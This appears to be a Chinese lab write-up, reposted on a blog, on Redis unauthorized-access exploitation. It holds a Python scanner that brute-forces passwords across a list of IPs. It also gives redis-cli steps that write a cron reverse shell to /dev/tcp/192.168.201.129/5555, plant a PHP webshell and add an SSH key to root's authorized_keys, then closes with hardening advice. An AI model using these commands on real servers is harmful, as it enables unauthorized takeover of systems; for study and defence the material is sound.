redis未授权访问

redis数据库基本知识

redis非关系型数据库

redis未授权访问蓝队的成因和危害

漏洞的定义:redis未授权访问漏洞是一个由于redis服务器版本较低,其未设置登录密码导致的登录。

攻击者可以直接利用redis服务器的ip地址和端口完成redis服务器的远程登陆,对目标服务器进行恶意操作

黑客可以直接利用redis的ip和端口对目标服务器的登录,

漏洞成因:

redis版本过低,低于5.05

redis直接暴露在公网上,没有设置不能公网访问,而且端口是默认端口

没有设置密码认证,可以直接免密远程登陆

redis未授权访问漏洞的成因危害

攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制

攻击者可以通过redis命令向网站目录写入webshell,完成对网站服务器的控制 

最严重的是redis‘是root权限,黑客可以给root账户写入ssh公钥文件,直接通过ssh登录受害访问

漏洞复现

靶场搭建就看这个文章吧

漏洞复现之Redis未授权访问_redis未授权访问漏洞修复建议-CSDN博客

直接空秘密未授权访问,如果不是空秘密也可以弱口令爆破

#!/usr/bin/python2
# -*- coding: utf-8 -*-import socket
import sysdef check(ip, port, timeout):try:socket.setdefaulttimeout(timeout)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("INFO\r\n")result = s.recv(1024)if "redis_version" in result:return u"[+] IP:{0}存在未授权访问".format(ip)elif "Authentication" in result:with open('pass.txt','r') as  p:passwds = p.readlines()for passwd in passwds:passwd = passwd.strip("\n")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("AUTH %s\r\n" %(passwd))# print u"[HACKING] hacking to passwd --> "+passwdresult = s.recv(1024)if 'OK' in result:return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)else:passelse:passs.close()except Exception, e:return u"[+] IP:{0}已过滤".format(ip)passif __name__ == '__main__':port="6379"with open('IP.txt','r') as  f:ips = f.readlines()for i in ips:ip = i.strip("\n")result = check(ip,port,timeout=10)print(result)

把密码卸载pass里面,ip写在ip里面

漏洞利用

写计划任务反弹shell

192.168.201.128:6379> config set dir /var/spool/cron/crontabs
OK
192.168.201.128:6379> config set dbfilename yue
OK
192.168.201.128:6379> set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.201.129/5555 0>&1\n\n"
OK
192.168.201.128:6379> save
OK
因为在ubvutun里面,不是centos所以,写入的目录也不一样

Centos的定时任务文件在/var/spool/cron/root

Ubuntu定时任务文件在/var/spool/cron/crontabs/root

共有定时任务文件在/etc/crontab

但是在ubuntu中由于root权限的redis创建的文件权限是644,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,如果写入/etc/crontab,因为存在乱码,所以ubuntu无法正确执行。

但计划任务已经写入了

写一句webshell到网站服务器目录

差不多的,shell.php是文件马子,html是目录。然后就是内容。保存一下,访问这个shell.php链接后门就行了

前提,知道网站的物理路径

写ssh公钥实现远程登陆

首先在目标机中运行的Redis服务必须是root权限,否则无法对ssh存储公钥的路径进行访问

前提目标开启了ssh服务

└─# ssh-keygen -t rsa


kali生成密钥对

查看一下.ssh目录

其中id_rsa是生成的秘钥,id_rsa.pub是生成的公钥,我们需要将id_rsa.pub写入目标主机中

进入/root/.ssh并将公钥写入key.txt文件

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt        

将key.txt文件传入redis靶机

cat key.txt| redis-cli -h 靶机ip -x set pub

直接复制可能会出错,可以险些redis-cli-ip

将redis文件路径设为/root/.ssh,文件名为authorized_keys,并save保存

1)./redis-cli -h 靶机ip

3)config set dir /root/.ssh

4)config set dbfilename authorized_keys

6)save

成功写入ssh公钥

root权限,这个在有一定权限之后拿来提权挺好的

redis安全加固

升级版本到5.0.5以上

默认端口修改一下,并且不暴露在公网之上

设置密码认证,防止免密远程登陆

利用防火墙,ids ,ips对访问redis服务器的流量进行检测拦截

ping

an

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/27947.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

为什么笔记本电脑触控板不工作?这里有你想要的答案和解决办法

序言 你的笔记本电脑触控板停止工作了吗?值得庆幸的是,这个令人沮丧的问题通常很容易解决。以下是笔记本电脑触控板问题的最常见原因和修复方法。 触控板被功能键禁用 大多数(如果不是全部的话)Windows笔记本电脑都将其中一个功能键用于禁用和启用笔记本电脑触控板。按键…

民生银行信用卡中心金融科技24届春招面经

本文介绍2024届春招中,中国民生银行下属信用卡中心的金融科技(系统研发方向) 岗位2场面试的基本情况、提问问题等。 2024年04月投递了中国民生银行下属信用卡中心的金融科技(系统研发方向) 岗位,暂时不清楚…

关于反弹shell的学习

今天学习反弹shell,在最近做的ctf题里面越来越多的反弹shell的操作,所以觉得要好好研究一下,毕竟是一种比较常用的操作 什么是反弹shell以及原理 反弹Shell(也称为反向Shell)是一种技术,通常用于远程访问和…

C++设计模式——Decorator装饰器模式

一,装饰器模式简介 装饰器模式是一种结构型设计模式, 它允许在不改变现有对象的情况下,动态地将功能添加到对象中。 装饰器模式是通过创建具有新行为的对象来实现的,这些对象将原始对象进行了包装。 装饰器模式遵循开放/关闭原…

element-plus 的el-scrollbar滚动条组件

el-scrollbar组件可以替换原生的滚动条,可以设置出现滚动条的高度,若无设置则根据容器自适应。 通过使用 setScrollTop 与 setScrollLeft 方法,可以手动控制滚动条滚动。 scroll 滚动条的滚动事件,会返回滚动条当前的位置。 &l…

snap nextcloud 通过不被信任的域名访问

安装向导 — Nextcloud latest 管理手册 latest 文档 find / -name config.php trusted_domains >array (0 > localhost,1 > server1.example.com,2 > 192.168.1.50,3 > [fe80::1:50], ), vim /var/snap/nextcloud/42567/nextcloud/config/config.php vim /va…

pytorch--Pooling layers

文章目录 1.torch.nn.MaxPool1d()2.torch.nn.MaxPool2d3.torch.nn.AvgPool2d()4.torch.nn.FractionalMaxPool2d()5.torch.nn.AdaptiveMaxPool2d()6.torch.nn.AdaptiveAvgPool2d() 1.torch.nn.MaxPool1d() torch.nn.MaxPool1d() 是 PyTorch 库中的一个类,用于在神经网…

ISP图像算法面试准备(1)

ISP图像算法面试准备 ISP图像算法面试准备(1) 文章目录 ISP图像算法面试准备前言一、ISP流程二、重点关注1. AWB必须在Demosaic之后进行。2. Gamma矫正通常在CCM之前进行 三、如何实现ISP参数自动化调试四、AE,即自动曝光(Auto Exposure)总结…

【太原理工大学】软件系统安全—分析题

OK了,又是毫无准备的一场仗,我真是ありがとうございます 凸^o^凸 根据前几年传下来的信息,所谓“分析”,就是让你根据情节自行设计,例如如何设计表单等,这类多从实验中出,王老师强调好好做实验一…

Mybatis框架中结果映射resultMap标签方法属性收录

Mybatis框架中结果映射resultMap标签收录 在MyBatis框架中,resultMap 是一种强大的机制,用于将数据库结果集映射到Java对象上。它允许你定义如何将查询结果中的列映射到Java对象的属性上,尤其是当数据库表的字段名与Java对象的属性名不一致时…

HTML静态网页成品作业(HTML+CSS)—— 明星吴磊介绍网页(5个页面)

🎉不定期分享源码,关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 🏷️本套采用HTMLCSS,未使用Javacsript代码,共有5个页面。 二、作品演示 三、代…

TCP与UDP案例

udp不会做拆分整合什么的 多大就是多大

【Spine学习08】之短飘,人物头发动效制作思路

上一节说完了跑步的, 这节说头发发型。 基础过程总结: 1.创建骨骼(头发需要在上方加一个总骨骼) 2.创建网格(并绑定黄线) 3.绑定权重(发根位置的顶点赋予更多总骨骼的权重) 4.切换到…

Orange_Pi_AIpro运行蜂鸟RISC-V仿真

Orange_Pi_AIpro运行蜂鸟RISC-V仿真 突发奇想,试一试Orange Pi AIpro上运行蜂鸟RISC-V的仿真。 准备 默认已经有一个Orange Pi AIpro,并且对设备进行一定的初始化配置,可以参考上一篇博文开源硬件初识——Orange Pi AIpro(8T&a…

FineReport简单介绍

一、介绍 官网 :FineReport产品简介- FineReport帮助文档 - 全面的报表使用教程和学习资料 报表是以表格、图表的形式来动态展示数据,企业通过报表进行数据分析,进而用于辅助经营管理决策。 FineReport 是一款用于报表制作,分析和…

短视频矩阵系统源码搭建--如何基于各平台原生态坏境做开发

短视频矩阵系统源码搭建是一个涉及多个技术层面的复杂过程,它要求开发者能够理解并利用不同平台的原生环境来开发和部署应用程序。以下是一些基于不同平台原生环境开发短视频矩阵系统的一般步骤和考虑因素: 1.需求分析:首先明确系统需要实现的…

抽奖系统源码_微信抽奖系统PHP源码开源

介绍: 微信抽奖系统源码是一个以php MySQL进行开发的手机抽奖系统源码。用途:适合做推广营销、直播、粉丝抽奖。 功能介绍: 1、后台可以设置每个抽奖用户的抽奖次数,后台添加设置奖品,适和企业和商场搞活动,后台添加用户,才能抽…

[RL9] Rocky Linux 9.4 搭载 PG 16.1

副标题:Rocky Linux 9.4 升级实录,及 PG 16 相关内容 背景 Rocky Linux 9.4 (以下简称 RL) 于5月9日正式发布,本文记录了从 RL 9.3 升级到 9.4 的过程,以及升级前后的一些变化。 之前介绍过 RL 9 的相关内容,请戳&…

学习笔记——网络管理与运维——SNMP(SNMP架构)

三、SNMP架构 1、SNMP结构概述 SNMP被设计为工作在TCP/IP协议族上,基于TCP/IP协议工作,对网络中支持SNMP协议的设备进行管理。所有支持SNMP协议的设备都提供SNMP这个统一界面,使得管理员可以使用统一的操作进行管理,而不必理会设…

个人网站制作 Part 25 添加实时聊天功能 | Web开发项目添加页面缓存

文章目录 👩‍💻 基础Web开发练手项目系列:个人网站制作🚀 添加实时聊天功能🔨使用聊天服务🔧步骤 1: 选择聊天服务🔧步骤 2: 安装Socket.io🔧步骤 3: 创建Socket.io服务器 &#x1…